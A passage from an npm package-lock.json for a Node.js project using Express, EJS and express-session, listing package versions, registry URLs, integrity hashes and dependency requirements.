210 | "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.8.tgz",
211 | "integrity": "sha512-/sXZeMlhS0ArkfX2Aw780gJzXSMPnKjtspYZv+f3NiKLlubezAHDU5+9xz6gd3/NhG3txQCo6xlglmTS+oTGEQ==",
212 | "dependencies": {
213 | "jake": "^10.8.5"
214 | },
215 | "bin": {
216 | "ejs": "bin/cli.js"
217 | },
218 | "engines": {
219 | "node": ">=0.10.0"
220 | }
221 | },
222 | "node_modules/encodeurl": {
223 | "version": "1.0.2",
224 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
225 | "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
226 | "engines": {
227 | "node": ">= 0.8"
228 | }
229 | },
230 | "node_modules/escape-html": {
231 | "version": "1.0.3",
232 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
233 | "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
234 | },
235 | "node_modules/etag": {
236 | "version": "1.8.1",
237 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
238 | "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
239 | "engines": {
240 | "node": ">= 0.6"
241 | }
242 | },
243 | "node_modules/express": {
244 | "version": "4.18.2",
245 | "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
246 | "integrity": "sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==",
247 | "dependencies": {
248 | "accepts": "~1.3.8",
249 | "array-flatten": "1.1.1",
250 | "body-parser": "1.20.1",
251 | "content-disposition": "0.5.4",
252 | "content-type": "~1.0.4",
253 | "cookie": "0.5.0",
254 | "cookie-signature": "1.0.6",
255 | "debug": "2.6.9",
256 | "depd": "2.0.0",
257 | "encodeurl": "~1.0.2",
258 | "escape-html": "~1.0.3",
259 | "etag": "~1.8.1",
260 | "finalhandler": "1.2.0",
261 | "fresh": "0.5.2",
262 | "http-errors": "2.0.0",
263 | "merge-descriptors": "1.0.1",
264 | "methods": "~1.1.2",
265 | "on-finished": "2.4.1",
266 | "parseurl": "~1.3.3",
267 | "path-to-regexp": "0.1.7",
268 | "proxy-addr": "~2.0.7",
269 | "qs": "6.11.0",
270 | "range-parser": "~1.2.1",
271 | "safe-buffer": "5.2.1",
272 | "send": "0.18.0",
273 | "serve-static": "1.15.0",
274 | "setprototypeof": "1.2.0",
275 | "statuses": "2.0.1",
276 | "type-is": "~1.6.18",
277 | "utils-merge": "1.0.1",
278 | "vary": "~1.1.2"
279 | },
280 | "engines": {
281 | "node": ">= 0.10.0"
282 | }
283 | },
284 | "node_modules/express-session": {
285 | "version": "1.17.3",
286 | "resolved": "https://registry.npmjs.org/express-session/-/express-session-1.17.3.tgz",
287 | "integrity": "sha512-4+otWXlShYlG1Ma+2Jnn+xgKUZTMJ5QD3YvfilX3AcocOAbIkVylSWEklzALe/+Pu4qV6TYBj5GwOBFfdKqLBw==",
288 | "dependencies": {
289 | "cookie": "0.4.2",
290 | "cookie-signature": "1.0.6",
291 | "debug": "2.6.9",
292 | "depd": "~2.0.0",
293 | "on-headers": "~1.0.2",
294 | "parseurl": "~1.3.3",
295 | "safe-buffer": "5.2.1",
296 | "uid-safe": "~2.1.5"
297 | },
298 | "engines": {
299 | "node": ">= 0.8.0"
300 | }
301 | },
302 | "node_modules/express-session/node_modules/cookie": {
303 | "version": "0.4.2",
304 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz",
305 | "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==",
306 | "engines": {
307 | "node": ">= 0.6"
308 | }
309 | },
310 | "node_modules/filelist": {
311 | "version": "1.0.4",
312 | "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz",
313 | "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==",
314 | "dependencies": {
315 | "minimatch": "^5.0.1"
316 | }
317 | },
318 | "node_modules/filelist/node_modules/brace-expansion": {
319 | "version": "2.0.1",
320 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
321 | "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
322 | "dependencies": {
323 | "balanced-match": "^1.0.0"
324 | }
325 | },
326 | "node_modules/filelist/node_modules/minimatch": {
327 | "version": "5.1.1",
328 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.1.tgz",
329 | "integrity": "sha512-362NP+zlprccbEt/SkxKfRMHnNY85V74mVnpUpNyr3F35covl09Kec7/sEFLt3RA4oXmewtoaanoIf67SE5Y5g==",
330 | "dependencies": {
331 | "brace-expansion": "^2.0.1"
332 | },
333 | "engines": {
334 | "node": ">=10"
335 | }
336 | },
337 | "node_modules/finalhandler": {
338 | "version": "1.2.0",
339 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz",
340 | "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==",
341 | "dependencies": {
342 | "debug": "2.6.9",
343 | "encodeurl": "~1.0.2",
344 | "escape-html": "~1.0.3",
345 | "on-finished": "2.4.1",
346 | "parseurl": "~1.3.3",
347 | "statuses": "2.0.1",
348 | "unpipe": "~1.0.0"
349 | },
350 | "engines": {
351 | "node": ">= 0.8"
352 | }
353 | },
354 | "node_modules/forwarded": {
355 | "version": "0.2.0",
356 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
357 | "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
358 | "engines": {
359 | "node": ">= 0.6"
360 | }
361 | },
362 | "node_modules/fresh": {
363 | "version": "0.5.2",
364 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
365 | "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
366 | "engines": {
367 | "node": ">= 0.6"
368 | }
369 | },
370 | "node_modules/function-bind": {
371 | "version": "1.1.1",
372 | "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
373 | "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
374 | },
375 | "node_modules/get-intrinsic": {
376 | "version": "1.1.3",
377 | "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.3.tgz",
378 | "integrity": "sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A==",
379 | "dependencies": {
380 | "function-bind": "^1.1.1",
381 | "has": "^1.0.3",
382 | "has-symbols": "^1.0.3"
383 | },
384 | "funding": {
385 | "url": "https://github.com/sponsors/ljharb"
386 | }
387 | },
388 | "node_modules/has": {
389 | "version": "1.0.3",
390 | "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
391 | "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
392 | "dependencies": {
393 | "function-bind": "^1.1.1"
394 | },
395 | "engines": {
396 | "node": ">= 0.4.0"
397 | }
398 | },
399 | "node_modules/has-flag": {
400 | "version": "4.0.0",
401 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
402 | "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
403 | "engines": {
404 | "node": ">=8"
405 | }
406 | },
407 | "node_modules/has-symbols": {
408 | "version": "1.0.3",
409 | "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
410 | "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
411 | "engines": {
412 | "node": ">= 0.4"
413 | },
414 | "funding": {
415 | "url": "https://github.com/sponsors/ljharb"
416 | }
417 | },
418 | "node_modules/http-errors": {
419 | "version": "2.0.0",
420 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
421 | "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
422 | "dependencies": {
423 | "depd": "2.0.0",
424 | "inherits": "2.0.4",
425 | "setprototypeof": "1.2.0",
426 | "statuses": "2.0.1",
427 | "toidentifier": "1.0.1"
428 | },
429 | "engines": {
430 | "node": ">= 0.8"
431 | }
432 | },
433 | "node_modules/iconv-lite": {
434 | "version": "0.4.24",
435 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
436 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
437 | "dependencies": {
438 | "safer-buffer": ">= 2.1.2 < 3"
439 | },
440 | "engines": {
441 | "node": ">=0.10.0"
442 | }
443 | },
444 | "node_modules/inherits": {
445 | "version": "2.0.4",
446 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
447 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
448 | },
449 | "node_modules/ipaddr.js": {
450 | "version": "1.9.1",
451 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
452 | "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
453 | "engines": {
454 | "node": ">= 0.10"
455 | }
456 | },
457 | "node_modules/jake": {
458 | "version": "10.8.5",
459 | "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.5.tgz",
460 | "integrity": "sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==",
461 | "dependencies": {
462 | "async": "^3.2.3",
463 | "chalk": "^4.0.2",
464 | "filelist": "^1.0.1",
465 | "minimatch": "^3.0.4"
466 | },
467 | "bin": {
468 | "jake": "bin/cli.js"
469 | },
470 | "engines": {
471 | "node": ">=10"
472 | }
473 | },
474 | "node_modules/media-typer": {
475 | "version": "0.3.0",
476 | "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
477 | "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
478 | "engines": {
479 | "node": ">= 0.6"
480 | }
481 | },
482 | "node_modules/merge-descriptors": {
483 | "version": "1.0.1",
484 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
485 | "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w=="
486 | },
487 | "node_modules/methods": {
488 | "version": "1.1.2",
489 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
490 | "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
491 | "engines": {
492 | "node": ">= 0.6"
493 | }
494 | },
495 | "node_modules/mime": {
496 | "version": "1.6.0",
497 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
498 | "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
499 | "bin": {
500 | "mime": "cli.js"
501 | },
502 | "engines": {
503 | "node": ">=4"
504 | }
505 | },
506 | "node_modules/mime-db": {
507 | "version": "1.52.0",
508 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
509 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
510 | "engines": {
511 | "node": ">= 0.6"
512 | }
513 | },
514 | "node_modules/mime-types": {
515 | "version": "2.1.35",
516 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
517 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
518 | "dependencies": {
519 | "mime-db": "1.52.0"
520 | },
521 | "engines": {
522 | "node": ">= 0.6"
523 | }
524 | },
525 | "node_modules/minimatch": {
526 | "version": "3.1.2",
527 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
528 | "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
529 | "dependencies": {
530 | "brace-expansion": "^1.1.7"
531 | },
532 | "engines": {
533 | "node": "*"
534 | }
535 | },
536 | "node_modules/ms": {
537 | "version": "2.0.0",
538 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
539 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
540 | },
541 | "node_modules/negotiator": {
542 | "version": "0.6.3",
543 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
544 | "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
545 | "engines": {
546 | "node": ">= 0.6"
547 | }
548 | },
549 | "node_modules/object-inspect": {
550 | "version": "1.12.2",
551 | "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz",
552 | "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==",
553 | "funding": {
554 | "url": "https://github.com/sponsors/ljharb"
555 | }
556 | },
557 | "node_modules/on-finished": {
558 | "version": "2.4.1",
559 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
560 | "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
561 | "dependencies": {
562 | "ee-first": "1.1.1"
563 | },
564 | "engines": {
565 | "node": ">= 0.8"
566 | }
567 | },
568 | "node_modules/on-headers": {
569 | "version": "1.0.2",
570 | "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
571 | "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==",
572 | "engines": {
573 | "node": ">= 0.8"
574 | }
575 | },
576 | "node_modules/parseurl": {
577 | "version": "1.3.3",
578 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
579 | "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
580 | "engines": {
581 | "node": ">= 0.8"
582 | }
583 | },
584 | "node_modules/path-to-regexp": {
585 | "version": "0.1.7",
586 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
587 | "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ=="
588 | },
589 | "node_modules/proxy-addr": {
590 | "version": "2.0.7",
591 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
592 | "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
593 | "dependencies": {
594 | "forwarded": "0.2.0",
595 | "ipaddr.js": "1.9.1"
596 | },
597 | "engines": {
598 | "node": ">= 0.10"
599 | }
600 | },
601 | "node_modules/qs": {
602 | "version": "6.11.0",
603 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz",
604 | "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==",
605 | "dependencies": {
606 | "side-channel": "^1.0.4"
607 | },
608 | "engines": {
609 | "node": ">=0.6"
610 | },
611 | "funding": {
612 | "url": "https://github.com/sponsors/ljharb"
613 | }
614 | },
615 | "node_modules/random-bytes": {
616 | "version": "1.0.0",
617 | "resolved": "https://registry.npmjs.org/random-bytes/-/random-bytes-1.0.0.tgz",
618 | "integrity": "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ==",
619 | "engines": {
620 | "node": ">= 0.8"
621 | }
622 | },
623 | "node_modules/range-parser": {
624 | "version": "1.2.1",
625 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
626 | "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
627 | "engines": {
628 | "node": ">= 0.6"
629 | }
630 | },
631 | "node_modules/raw-body": {
632 | "version": "2.5.1",
633 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz",
634 | "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==",
635 | "dependencies": {
636 | "bytes": "3.1.2",
637 | "http-errors": "2.0.0",
638 | "iconv-lite": "0.4.24",
639 | "unpipe": "1.0.0"
640 | },
641 | "engines": {
642 | "node": ">= 0.8"
643 | }
644 | },
645 | "node_modules/safe-buffer": {
646 | "version": "5.2.1",
647 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
648 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
649 | "funding": [
650 | {
651 | "type": "github",
652 | "url": "https://github.com/sponsors/feross"
653 | },
654 | {
655 | "type": "patreon",
656 | "url": "https://www.patreon.com/feross"
657 | },
658 | {
659 | "type": "consulting",
660 | "url": "https://feross.org/support"
661 | }
662 | ]
663 | },
664 | "node_modules/safer-buffer": {
665 | "version": "2.1.2",
666 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
667 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
668 | },
669 | "node_modules/send": {
670 | "version": "0.18.0",
671 | "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz",
672 | "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==",
673 | "dependencies": {
674 | "debug": "2.6.9",
675 | "depd": "2.0.0",
676 | "destroy": "1.2.0",
677 | "encodeurl": "~1.0.2",
678 | "escape-html": "~1.0.3",
679 | "etag": "~1.8.1",
680 | "fresh": "0.5.2",
681 | "http-errors": "2.0.0",
682 | "mime": "1.6.0",
683 | "ms": "2.1.3",
684 | "on-finished": "2.4.1",
685 | "range-parser": "~1.2.1",
686 | "statuses": "2.0.1"
687 | },
688 | "engines": {
689 | "node": ">= 0.8.0"
690 | }
691 | },
692 | "node_modules/send/node_modules/ms": {
693 | "version": "2.1.3",
694 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
695 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
696 | },
697 | "node_modules/serve-static": {
698 | "version": "1.15.0",
699 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz",
700 | "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==",
701 | "dependencies": {
702 | "encodeurl": "~1.0.2",
703 | "escape-html": "~1.0.3",
704 | "parseurl": "~1.3.3",
705 | "send": "0.18.0"
706 | },
707 | "engines": {
708 | "node": ">= 0.8.0"
709 | }
710 | },
711 | "node_modules/setprototypeof": {
712 | "version": "1.2.0",
713 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
714 | "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
715 | },
716 | "node_modules/side-channel": {
717 | "version": "1.0.4",
718 | "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
719 | "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
720 | "dependencies": {
721 | "call-bind": "^1.0.0",
722 | "get-intrinsic": "^1.0.2",
723 | "object-inspect": "^1.9.0"
724 | },
725 | "funding": {
726 | "url": "https://github.com/sponsors/ljharb"
727 | }
728 | },
729 | "node_modules/statuses": {
730 | "version": "2.0.1",
731 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
732 | "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
733 | "engines": {
734 | "node": ">= 0.8"
735 | }
736 | },
737 | "node_modules/supports-color": {
738 | "version": "7.2.0",
739 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
740 | "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
741 | "dependencies": {
742 | "has-flag": "^4.0.0"
743 | },
744 | "engines": {
745 | "node": ">=8"
746 | }
747 | },
748 | "node_modules/toidentifier": {
749 | "version": "1.0.1",
750 | "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
751 | "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
752 | "engines": {
753 | "node": ">=0.6"
754 | }
755 | },
756 | "node_modules/type-is": {
757 | "version": "1.6.18",
758 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
759 | "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
760 | "dependencies": {
761 | "media-typer": "0.3.0",
762 | "mime-types": "~2.1.24"
763 | },
764 | "engines": {
765 | "node": ">= 0.6"
766 | }
767 | },
768 | "node_modules/uid-safe": {
769 | "version": "2.1.5",
770 | "resolved": "https://registry.npmjs.org/uid-safe/-/uid-safe-2.1.5.tgz",
771 | "integrity": "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==",
772 | "dependencies": {
773 | "random-bytes": "~1.0.0"
774 | },
775 | "engines": {
776 | "node": ">= 0.8"
777 | }
778 | },
779 | "node_modules/unpipe": {
780 | "version": "1.0.0",
781 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
782 | "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
783 | "engines": {
784 | "node": ">= 0.8"
785 | }
786 | },
787 | "node_modules/utils-merge": {
788 | "version": "1.0.1",
789 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
790 | "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
791 | "engines": {
792 | "node": ">= 0.4.0"
793 | }
794 | },
795 | "node_modules/vary": {
796 | "version": "1.1.2",
797 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
798 | "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
799 | "engines": {
800 | "node": ">= 0.8"
801 | }
802 | }
803 | },
804 | "dependencies": {
805 | "accepts": {
806 | "version": "1.3.8",
807 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
808 | "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
809 | "requires": {
810 | "mime-types": "~2.1.34",
811 | "negotiator": "0.6.3"
812 | }
813 | },
814 | "ansi-styles": {
815 | "version": "4.3.0",
816 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
817 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
818 | "requires": {
819 | "color-convert": "^2.0.1"
820 | }
821 | },
822 | "array-flatten": {
823 | "version": "1.1.1",
824 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
825 | "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
826 | },
827 | "async": {
828 | "version": "3.2.4",
829 | "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz",
830 | "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ=="
831 | },
832 | "balanced-match": {
833 | "version": "1.0.2",
834 | "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
835 | "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
836 | },
837 | "body-parser": {
838 | "version": "1.20.1",
839 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz",
840 | "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==",
841 | "requires": {
842 | "bytes": "3.1.2",
843 | "content-type": "~1.0.4",
844 | "debug": "2.6.9",
845 | "depd": "2.0.0",
